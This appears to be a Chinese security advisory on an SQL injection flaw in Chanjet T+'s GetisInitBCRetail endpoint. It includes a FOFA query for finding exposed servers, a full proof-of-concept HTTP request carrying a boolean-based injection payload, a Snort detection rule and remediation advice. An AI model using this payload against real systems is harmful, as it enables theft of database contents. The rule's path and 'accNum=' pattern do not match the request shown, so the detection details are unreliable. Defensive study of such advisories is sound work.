

畅捷通T+ GetisInitBCRetail 存在SQL注入漏洞

畅捷通T+ GetisInitBCRetail 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

畅捷通T+

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="畅捷通-TPlus"

POC/EXP:

```
POST
/tpplus/ajaxpro/Ufida.T.SM.UIP.Tool.AccountClearController,Ufida.T.SM.UIP.ashx?
method=GetisInitBCRetail HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101
Firefox/140.0

{"accNum":"'1' AND 5227 IN (SELECT
(CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (5227=5227)
THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(120)+CHAR(113)))-- NCab"}
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"Chanjet T+ - SQL Injection in GetisInitBCRetail";  
  flow:to_server,established;  
  content:"POST"; http_method;  
  
  content:"/tplus/ajaxpro/Ufida.T.SM.UIP.Tool.AccountClearController,Ufida.T.SM.UIP.  
ashx"; http_uri;  
  content:"method=GetisInitBCRetail"; http_uri;  
  content:"Content-Type: application/json"; http_header;  
  content:"accNum="; http_client_body;  
  pcre: "/accNum=[^&]*'[\s\S]*?(CHAR\\(\\d+\\)\\+)+(SELECT|CASE)/i";  
  metadata:service http;  
  metadata:affected_product "畅捷通T+";  
  metadata:vulnerability_type "SQL Injection";  
  classtype:sql-injection;  
  sid:1000236;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。